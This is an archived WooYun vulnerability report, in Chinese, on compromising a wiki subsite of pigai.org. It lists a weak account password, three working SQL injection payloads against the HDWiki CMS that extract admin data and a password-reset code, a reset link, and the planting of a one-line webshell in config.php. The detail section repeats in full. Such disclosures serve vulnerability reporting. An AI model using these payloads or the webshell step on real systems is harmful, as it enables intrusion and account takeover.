当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087125

漏洞标题:批改网某业务getshell

相关厂商:pigai.org

漏洞作者: Th1nk

提交时间:2014-12-14 16:55

修复时间:2015-01-28 16:56

公开时间:2015-01-28 16:56

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-14: 细节已通知厂商并且等待厂商处理中
2014-12-14: 厂商已经确认,细节仅向厂商公开
2014-12-24: 细节向核心白帽子及相关领域专家公开
2015-01-03: 细节向普通白帽子公开
2015-01-13: 细节向实习白帽子公开
2015-01-28: 细节向公众公开

简要描述:

批改网某分站getshell

详细说明:

http://wiki.pigai.org/
某账户存在弱口令
pigai pigai123
成功登陆。

1.png


该分站采用的是hdwiki的cms,该cms存在漏洞。
1.注入漏洞
相关请看乌云
WooYun: hdwiki二次注入
直接提交评论

',1236789,1), ('admin','1','0','2','admin','xxx',(select concat(username,0x20,password) from wiki_user where uid=1),236789,1)#


//注意换行符 会被转义 所以提交之前看清楚
点举报--确定--然后返回短信息

2.png


结果发现该md5无法解开,看来管理员安全意识挺强,密码复杂。
继续。
漏洞2
WooYun: Hdwiki 设计缺陷 知邮箱可改密码(包括管理员)
该漏洞引发我的思考,其实我们根本不用去爆破auth。
结合这个sql注入,就可以直接拿到存在表中的code。
找回密码的code存在表wiki_activation中,先通过注入得到管理员的邮箱。

',1236789,1), ('admin','1','0','2','admin','xxx',(select email from wiki_user where uid=1),236789,1)#


邮箱为admin@admin.com

3.png


然后注入出wiki_activation表中的code。

',1236789,1), ('admin','1','0','2','admin','xxx',(select code from wiki_activation where uid=1 order by time desc limit 1),236789,1)#


4.png


访问链接:
http://wiki.pigai.org/index.php?user-getpass-1-f728f481f5d0a21d0604fa544d421858
重设管理员密码
(此处重设为test1test2)
成功登陆

5.png


接下来可以getshell
后台--模块--文件管理
貌似只有config.php有权限,添加一个一句话木马。

7.png


成功拿到shell。

8.png

漏洞证明:

http://wiki.pigai.org/
某账户存在弱口令
pigai pigai123
成功登陆。

1.png


该分站采用的是hdwiki的cms,该cms存在漏洞。
1.注入漏洞
相关请看乌云
WooYun: hdwiki二次注入
直接提交评论

',1236789,1), ('admin','1','0','2','admin','xxx',(select concat(username,0x20,password) from wiki_user where uid=1),236789,1)#


//注意换行符 会被转义 所以提交之前看清楚
点举报--确定--然后返回短信息

2.png


结果发现该md5无法解开,看来管理员安全意识挺强,密码复杂。
继续。
漏洞2
WooYun: Hdwiki 设计缺陷 知邮箱可改密码(包括管理员)
该漏洞引发我的思考,其实我们根本不用去爆破auth。
结合这个sql注入,就可以直接拿到存在表中的code。
找回密码的code存在表wiki_activation中,先通过注入得到管理员的邮箱。

',1236789,1), ('admin','1','0','2','admin','xxx',(select email from wiki_user where uid=1),236789,1)#


邮箱为admin@admin.com

3.png


然后注入出wiki_activation表中的code。

',1236789,1), ('admin','1','0','2','admin','xxx',(select code from wiki_activation where uid=1 order by time desc limit 1),236789,1)#


4.png


访问链接:
http://wiki.pigai.org/index.php?user-getpass-1-f728f481f5d0a21d0604fa544d421858
重设管理员密码
(此处重设为test1test2)
成功登陆

5.png


接下来可以getshell
后台--模块--文件管理
貌似只有config.php有权限,添加一个一句话木马。

7.png


成功拿到shell。

8.png

修复方案:

更新或者替换HDWIKI

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-12-14 21:06

厂商回复:

马上更换

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-04 09:32 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    干得漂亮,组合攻击